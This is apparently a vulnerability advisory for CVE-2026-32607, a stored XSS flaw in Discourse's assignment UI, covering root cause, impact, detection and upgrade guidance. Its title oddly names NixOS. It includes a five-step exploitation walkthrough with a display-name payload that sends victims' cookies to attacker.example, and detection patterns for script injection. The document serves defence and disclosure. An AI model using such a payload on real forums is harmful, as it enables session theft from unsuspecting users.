CVE-2026-32607: 
NixOS vulnerability analysis and mitigation

CVE-2026-32607 is a stored Cross-Site Scripting (XSS) vulnerability in Discourse, an open-source discussion platform, affecting the assignment-related UI when the hidden prioritize_full_name_in_ux site setting is enabled. The vulnerability affects versions 2026.1.0-latest through before 2026.1.3, 2026.2.0-latest through before 2026.2.2, and 2026.3.0-latest through before 2026.3.0. It was published on March 31, 2026, and patched shortly after. The CVSS v3.1 base score is 5.4 (Medium), while the CVSS v4.0 base score is 2.1 (Low) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting): when prioritize_full_name_in_ux is enabled, User.name and group display names are interpolated directly into HTML strings wrapped in trustHTML() without first being passed through escapeExpression(). This affects multiple rendering paths including assignment tags in topic lists, first-post assignment indicators, small action post descriptions, mobile footer buttons, and the topic-level unassign menu. Exploitation requires the attacker to hold assign permission and craft a malicious display name containing HTML/JavaScript; a victim must then view an affected topic for the payload to execute. The fix, applied in commit 46edb17, adds escapeExpression() calls before all affected interpolations (GitHub Commit, GitHub Advisory).

Successful exploitation allows a low-privileged user with assign permission to inject arbitrary HTML/JavaScript that executes in the browser of any user who views an affected topic. Potential consequences include session cookie theft, unauthorized actions performed on behalf of victims, redirection to malicious sites, and exposure of user data. Availability is not impacted, and exploitation is constrained by the non-default prioritize_full_name_in_ux setting and the requirement for victim interaction (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The EPSS score is approximately 0.047%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation is further limited by two preconditions: the prioritize_full_name_in_ux setting must be manually enabled via console access (it is disabled by default), and the assign plugin must be active.

1. Precondition verification: Confirm the target Discourse instance has the assign plugin enabled and the hidden prioritize_full_name_in_ux site setting enabled via console (non-default).
2. Obtain assign permission: Acquire a Discourse account with assign permission on the target instance (e.g., via a legitimate account or social engineering).
3. Craft malicious display name: Set the attacker's user display name (full name / User.name) to an HTML/JavaScript payload, such as <img src=x onerror=document.location='https://attacker.example/steal?c='+document.cookie>.
4. Assign a topic: Use the assign feature to assign any topic to the attacker's account, embedding the malicious display name into the topic's assignment metadata across affected UI paths (topic list tags, first-post indicator, small action posts, mobile footer, unassign menu).
5. Wait for victim interaction: Any user who views the affected topic will have the injected script execute in their browser, potentially exfiltrating session cookies or performing actions on their behalf (GitHub Advisory, GitHub Commit).

• Logs: Discourse application logs showing assignment actions by users with unusual or HTML-containing display names; access logs with requests to topic pages followed by unexpected outbound connections from victim browsers.
• Application Data: User accounts whose name field contains HTML tags or JavaScript (e.g., <script>, <img src=x onerror=...>, javascript:) — detectable via database query on the users table.
• Network: Unexpected outbound HTTP requests from client browsers to external domains immediately after viewing Discourse topic pages, potentially carrying session token parameters.
• Browser/Client: Unexpected redirects or resource loads to unknown domains triggered when visiting Discourse topics with assignment metadata (GitHub Advisory).

Upgrade Discourse to version 2026.1.3 (for 2026.1.x), 2026.2.2 (for 2026.2.x), or 2026.3.0 (for 2026.3.x) to receive the patch. If immediate patching is not possible, ensure the prioritize_full_name_in_ux site setting remains disabled (its default state), which prevents the vulnerable code paths from being triggered. Additionally, restrict assign permissions to trusted users only to reduce the attack surface (GitHub Advisory, Feedly).